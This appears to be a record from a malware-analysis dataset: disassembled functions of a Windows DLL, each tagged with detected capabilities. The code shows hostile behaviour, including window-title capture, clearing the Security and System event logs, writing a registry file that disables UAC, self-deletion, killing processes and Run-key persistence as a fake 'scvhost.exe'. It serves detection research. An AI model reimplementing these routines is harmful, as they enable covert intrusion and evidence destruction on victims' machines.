joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002b1b
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
mov ebx, 0x400
push edi
push ebx
mov esi, 0x1003246c
push 0
push esi
call fcn.10009f80
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push ebx
push esi
push eax
mov dword [0x10032c6c], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
and byte [ebp - 0x414], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x413]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
and dword [ebp - 4], 0
stosb byte es:[edi], al
mov edi, 0x1003286c
push edi
push esi
call fcn.1000a320
pop ecx
test eax, eax
pop ecx
je 0x10002bf6
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x10002beb
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xc]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x12]
push eax
movzx eax, word [ebp - 0x14]
push eax
push esi
lea eax, [ebp - 0x414]
push str._r_n_r_n_r_n_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x414]
push eax
call fcn.10002a67
push ebx
lea eax, [ebp - 0x414]
push 0
push eax
call fcn.10009f80
add esp, 0x34
mov dword [ebp - 4], 1
push ebx
push esi
push edi
call fcn.10009700
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002e3a
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov eax, 0x1001d508
call fcn.10009f54
sub esp, 0x170
mov al, byte [ebp + 0xb]
push ebx
push esi
xor ebx, ebx
push edi
push ebx
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x1c], al
call fcn.10003059
push dword [ebp + 8]
call fcn.1000a3e0
pop ecx
push eax
lea ecx, [ebp - 0x1c]
push dword [ebp + 8]
call fcn.10003095
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], ebx
lea esi, [eax - 1]
cmp eax, esi
ja 0x10002e85
call fcn.100147d9
lea ecx, [ebp - 0x1c]
call fcn.1000302d
mov eax, dword [ebp - 0x18]
cmp byte [eax + esi], 0x5c
je 0x10002ea2
push 0x5c
push 1
lea ecx, [ebp - 0x1c]
call fcn.10002fd4
lea eax, [ebp - 0x1c]
push 0x10027d9c
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.1000320c
mov eax, dword [eax + 4]
add esp, 0xc
cmp eax, ebx
mov esi, 0x1001e4cc
jne 0x10002ec5
mov eax, esi
lea ecx, [ebp - 0x17c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 1
lea ecx, [ebp - 0x2c]
mov edi, eax
call fcn.10003059
cmp edi, 0xffffffff
je 0x10002fad
test byte [ebp - 0x17c], 0x10
je 0x10002f54
lea eax, [ebp - 0x150]
push 0x100276e0
push eax
call fcn.1000e930
pop ecx
test eax, eax
pop ecx
je 0x10002f85
lea eax, [ebp - 0x150]
push 0x10027d98
push eax
call fcn.1000e930
pop ecx
test eax, eax
pop ecx
je 0x10002f85
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.1000320c
add esp, 0xc
mov eax, dword [eax + 4]
mov byte [ebp - 4], 1
cmp eax, ebx
jne 0x10002f43
mov eax, esi
push eax
call fcn.10002e3a
pop ecx
mov byte [ebp - 4], bl
push 1
lea ecx, [ebp - 0x2c]
jmp 0x10002f80
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.1000320c
mov eax, dword [eax + 4]
add esp, 0xc
cmp eax, ebx
jne 0x10002f74
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 1
lea ecx, [ebp - 0x3c]
call fcn.10003059
lea eax, [ebp - 0x17c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10002ee8
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov bl, 1
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x1c]
call fcn.10003059
mov ecx, dword [ebp - 0xc]
pop edi
mov al, bl
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x1000344f
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov eax, 0x1001d544
call fcn.10009f54
sub esp, 0x12c
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 2
mov dword [ebp - 4], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [ebp - 0x138]
push eax
push edi
mov dword [ebp - 0x138], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x10003495
or dword [ebp - 4], 0xffffffff
jmp 0x1000355d
lea ecx, [ebp + 8]
call fcn.100189de
lea eax, [ebp - 0x138]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
or esi, 0xffffffff
test eax, eax
je 0x10003551
lea eax, [ebp - 0x114]
lea ecx, [ebp - 0x10]
push eax
call fcn.1001877b
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.100189de
push dword [ebp + 8]
push dword [ebp - 0x10]
call fcn.1000a8a5
pop ecx
test eax, eax
pop ecx
je 0x10003504
push esi
lea ecx, [ebp - 0x10]
call fcn.10018996
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.10018751
lea eax, [ebp - 0x138]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
jmp 0x100034ad
push dword [ebp - 0x130]
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
lea ecx, [ebp - 0x10]
call fcn.10018996
push esi
lea ecx, [ebp + 8]
call fcn.10018996
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.10018751
lea ecx, [ebp + 8]
mov dword [ebp - 4], esi
call fcn.10018751
push 1
pop eax
jmp 0x10003567
push esi
lea ecx, [ebp + 8]
call fcn.10018996
mov dword [ebp - 4], esi
lea ecx, [ebp + 8]
call fcn.10018751
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x10003576
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x110c
call fcn.10009fe0
push ebx
push esi
push edi
push 0x800
call fcn.1000a054
mov esi, 0x104
mov dword [ebp - 4], eax
push esi
push 0
push eax
call fcn.10009f80
and byte [ebp - 0x90c], 0
mov edx, 0x1ff
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x90b]
and byte [ebp - 0x110c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x110b]
add esp, 0x10
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ebx, str.CTXOPConntion_Class
push 0
push ebx
stosb byte es:[edi], al
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
mov dword [ebp - 8], eax
je 0x100036aa
and byte [ebp - 0x10c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x10b]
push esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_GetClassNameA]
lea eax, [ebp - 0x10c]
push ebx
push eax
call fcn.1000a320
pop ecx
test eax, eax
pop ecx
jne 0x1000369a
cmp dword [ebp - 8], eax
je 0x1000363f
lea eax, [ebp - 0x90c]
push esi
push eax
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x90c]
push eax
call fcn.1000a3e0
pop ecx
dec eax
cmp byte [ebp + eax - 0x90c], 0x5f
jne 0x1000364c
lea eax, [ebp + eax - 0x90b]
push eax
lea eax, [ebp - 0x110c]
push eax
call fcn.1000a1e0
pop ecx
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x10003689
push 0x10027da4
push dword [ebp - 4]
call fcn.1000a1f0
pop ecx
pop ecx
lea eax, [ebp - 0x110c]
push eax
push dword [ebp - 4]
call fcn.1000a1f0
pop ecx
pop ecx
push 2
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_GetWindow]
jmp 0x100035e3
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
pop edi
pop esi
test eax, eax
pop ebx
jne 0x100036c9
push 0x10027da0
push dword [ebp - 4]
call fcn.1000a1e0
pop ecx
pop ecx
mov eax, dword [ebp - 4]
leave
ret
Function at 0x10003785
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push ebx
push esi
push edi
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ax, word [0x10032462]
xor ebx, ebx
cmp ax, bx
je 0x10003874
push ebx
push 0x80
push 4
push ebx
push 2
push 0x40000000
push dword [ebp + 8]
movzx esi, ax
shl esi, 0xa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
mov dword [ebp - 8], edi
je 0x10003874
push 2
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, esi
shl ecx, 0xa
cmp ecx, eax
jbe 0x1000386b
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x40b]
mov byte [ebp - 0x40c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
cmp esi, ebx
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
mov dword [ebp - 4], ebx
jbe 0x1000386b
mov edi, 0x400
test word [ebp - 4], 0x3ff
jne 0x1000384d
mov dword [ebp + 8], ebx
call fcn.1000a954
add al, byte [ebp + 8]
mov ecx, 0xff
movsx eax, al
cdq
idiv ecx
mov eax, dword [ebp + 8]
inc dword [ebp + 8]
cmp dword [ebp + 8], edi
mov byte [ebp + eax - 0x40c], dl
jl 0x10003828
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x40c]
push edi
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jb 0x1000381d
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10003b47
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 8]
dec eax
mov dword [ebp - 0xc], str.Application
mov dword [ebp - 8], str.Security
mov dword [ebp - 4], str.System
je 0x10003b94
dec eax
je 0x10003b89
dec eax
je 0x10003b7c
dec eax
jne 0x10003bc6
mov eax, 0x10032f78
mov dword [ebp - 8], eax
jmp 0x10003b84
mov eax, 0x10032f78
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
jmp 0x10003b94
mov eax, 0x10032f78
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 3
lea edi, [ebp - 0xc]
pop ebx
push dword [edi]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov esi, eax
test esi, esi
je 0x10003bbd
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add edi, 4
dec ebx
jne 0x10003b9d
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10003bc8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [ebp + 8]
push ebx
push eax
push 0xf5
push str.Windows_Registry_Editor_Version_5.00____r_n____r_n_HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem_____r_n_EnableLUA_dword:00000000_r_n_r_n::
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10003c02
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
pop ebp
ret
Function at 0x10003e00
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov eax, 0x1001d580
call fcn.10009f54
sub esp, 0x12c
push ebx
push esi
xor ebx, ebx
push ebx
push 2
mov dword [ebp - 4], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x10003edd
lea eax, [ebp - 0x138]
mov dword [ebp - 0x138], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10003ed6
lea eax, [ebp - 0x114]
lea ecx, [ebp - 0x10]
push eax
call fcn.1001877b
push dword [ebp + 8]
push dword [ebp - 0x10]
call fcn.1000a976
pop ecx
test eax, eax
pop ecx
je 0x10003e96
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.10018751
lea eax, [ebp - 0x138]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10003ed6
lea eax, [ebp - 0x114]
lea ecx, [ebp - 0x10]
push eax
call fcn.1001877b
jmp 0x10003e58
push dword [ebp - 0x130]
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x10003eba
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.10018751
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.10018751
push 1
pop eax
jmp 0x10003eeb
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.10018751
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x10003ef9
Capabilities:
Create process on windows
Create process suspended
Get comspec environment variable
Query environment variable
Resume thread
Self delete
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x364
push ebx
push esi
push edi
push str.c:del
call fcn.10002a23
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp], 0x1f4
call edi
mov ebx, str.C:ProgramDataMicrosoftEdgeUpdateLogdel.bat
push ebx
call fcn.100029dc
pop ecx
xor esi, esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x1f4
call edi
push ecx
mov edi, str.microsoft.exe
mov ecx, esp
mov dword [ebp - 4], esp
push edi
call fcn.1001877b
call fcn.10003e00
mov ecx, esp
mov dword [ebp - 4], esp
push edi
call fcn.1001877b
call fcn.10003e00
pop ecx
mov edi, 0x104
lea eax, [ebp - 0x15c]
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x10003faa
lea eax, [ebp - 0x15c]
push edi
push eax
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x10003faa
lea eax, [ebp - 0x364]
push edi
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x10003fb1
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 0x15c]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x260]
push str.__c_ping__n_2_127.0.0.1___nul__del
push eax
call fcn.1000a1e0
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0x260]
push eax
call fcn.1000a1f0
lea eax, [ebp - 0x260]
push str.___nul
push eax
call fcn.1000a1f0
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x364]
push eax
call fcn.1000a1f0
add esp, 0x20
xor eax, eax
lea edi, [ebp - 0x54]
mov dword [ebp - 0x14], esi
push 0x10
pop ecx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x10]
push 0x100
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x58], 0x44
mov dword [ebp - 0x2c], 1
mov word [ebp - 0x28], si
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call edi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov ebx, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call ebx
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push esi
push esi
push 4
push esi
push esi
lea eax, [ebp - 0x364]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10004098
push 0x40
push dword [ebp - 0x14]
call edi
push 0xfffffffffffffff1
push dword [ebp - 0x10]
call ebx
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 1
pop eax
jmp 0x10003fac
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x100040b4
Capabilities:
Create process on windows
Terminate process

Disassembly:
call fcn.10003ef9
push 0
push str.cmd__c_echo._c:del__exit
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x100042c2
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d8
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x170
lea eax, [ebp - 0x2d8]
push esi
push eax
call fcn.10009700
add esp, 0xc
xor ebx, ebx
xor eax, eax
lea edi, [ebp - 0x167]
push 0x59
mov byte [ebp - 0x168], bl
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 2
push ebx
stosb byte es:[edi], al
push 1
lea eax, [ebp - 0x1cc]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000433e
lea eax, [ebp + 8]
push ebx
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffe90
add esi, 0x170
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10004345
xor eax, eax
jmp 0x100043cb
push edi
call dword [0x100333c4]
lea eax, [ebp - 0x2d0]
push eax
call fcn.1000a3e0
test eax, eax
pop ecx
je 0x10004382
lea eax, [ebp - 0x2d0]
push eax
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push str._s__s
push eax
call dword [0x10033414]
add esp, 0x10
jmp 0x10004396
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x2d4]
sub eax, ebx
je 0x100043b8
dec eax
je 0x100043b5
dec eax
dec eax
jne 0x100043c8
lea eax, [ebp - 0x168]
push eax
call fcn.100040b4
jmp 0x100043c7
push ebx
jmp 0x100043ba
push 5
lea eax, [ebp - 0x168]
push eax
call fcn.100040ce
pop ecx
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000467a
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
and byte [ebp - 0x164], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x163]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ebx, 0x104
lea eax, [ebp - 0x164]
push ebx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xa
mov esi, str.C:Program_FilesCommon_Files_scvhost.exe
pop ecx
lea edi, [ebp - 0x60]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0xc
xor eax, eax
pop ecx
lea edi, [ebp - 0x36]
rep stosd dword es:[edi], eax
xor esi, esi
lea eax, [ebp - 0x60]
push esi
push eax
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 4]
push eax
push 0xf003f
push esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000471d
lea eax, [ebp - 0x164]
push ebx
push eax
push 1
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor al, al
pop ebx
leave
ret
Function at 0x10004d75
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [ebp + 8]
push ebx
push eax
push 0x1f53
push 0x100255c4
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10004daf
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
pop ebp
ret

Function at 0x10004e8f
Capabilities:
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push edi
mov dword [ebp - 0xc], ecx
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x10f]
mov byte [ebp - 0x110], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x110]
push 0x1c
push eax
push ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x110]
push str._._mnbvcxz_lkjhgfdsa__poiuytrewq
push eax
call fcn.1000a1f0
lea eax, [ebp - 0x110]
push 0x1002cc7a
push eax
call fcn.1000a1f0
lea eax, [ebp - 0x110]
push str..dat
push eax
call fcn.1000a1f0
add esp, 0x18
lea eax, [ebp - 0x110]
push ebx
push 0x80
push 3
push ebx
push 1
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x10004f5c
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.1000a054
pop ecx
mov esi, eax
lea eax, [ebp - 8]
push ebx
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0xc]
push edi
push esi
call fcn.10004e45
push esi
mov ebx, eax
call fcn.100096f3
pop ecx
pop esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop ebx
leave
ret
Function at 0x100050ad
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
lea eax, [ebp - 0x34]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
and byte [ebp - 0x138], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x137]
and byte [ebp - 0xd], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
movzx eax, word [ebp - 0x2a]
push eax
mov byte [ebp - 0x24], 0x25
movzx eax, word [ebp - 0x2c]
push eax
mov byte [ebp - 0x23], 0x34
movzx eax, word [ebp - 0x2e]
push eax
mov byte [ebp - 0x22], 0x64
movzx eax, word [ebp - 0x32]
push eax
mov byte [ebp - 0x21], 0x2d
movzx eax, word [ebp - 0x34]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x138]
push eax
mov byte [ebp - 0x20], 0x25
mov byte [ebp - 0x1f], 0x2e
mov byte [ebp - 0x1e], 0x32
mov byte [ebp - 0x1d], 0x64
mov byte [ebp - 0x1c], 0x2d
mov byte [ebp - 0x1b], 0x25
mov byte [ebp - 0x1a], 0x2e
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x64
mov byte [ebp - 0x17], 0x20
mov byte [ebp - 0x16], 0x25
mov byte [ebp - 0x15], 0x2e
mov byte [ebp - 0x14], 0x32
mov byte [ebp - 0x13], 0x64
mov byte [ebp - 0x12], 0x3a
mov byte [ebp - 0x11], 0x25
mov byte [ebp - 0x10], 0x2e
mov byte [ebp - 0xf], 0x32
mov byte [ebp - 0xe], 0x64
call dword [sym.imp.USER32.dll_wsprintfA]
and byte [ebp - 4], 0
add esp, 0x1c
lea eax, [ebp - 0x138]
mov byte [ebp - 0xc], 0x4d
push 0
push eax
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 9], 0x6b
mov byte [ebp - 8], 0x54
mov byte [ebp - 7], 0x69
mov byte [ebp - 6], 0x6d
mov byte [ebp - 5], 0x65
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0xc]
push 1
push eax
push str.Console
push closesocket
call fcn.10009539
add esp, 0x1c
pop edi
leave
ret

Function at 0x10005824
Capabilities:
Check mutex on windows

Disassembly:
push esi
push edi
xor esi, esi
push str.LJPXYXC
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1000584f
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x10005895
push esi
push esi
push esi
push esi
push 0x100055a9
push esi
push esi
call fcn.10008e30
add esp, 0x1c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push esi
push esi
push esi
push 0x10005213
push esi
push esi
call fcn.10008e30
add esp, 0x1c
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [0x100333d4]
push esi
call dword [0x100333c4]
push 1
pop eax
pop edi
pop esi
ret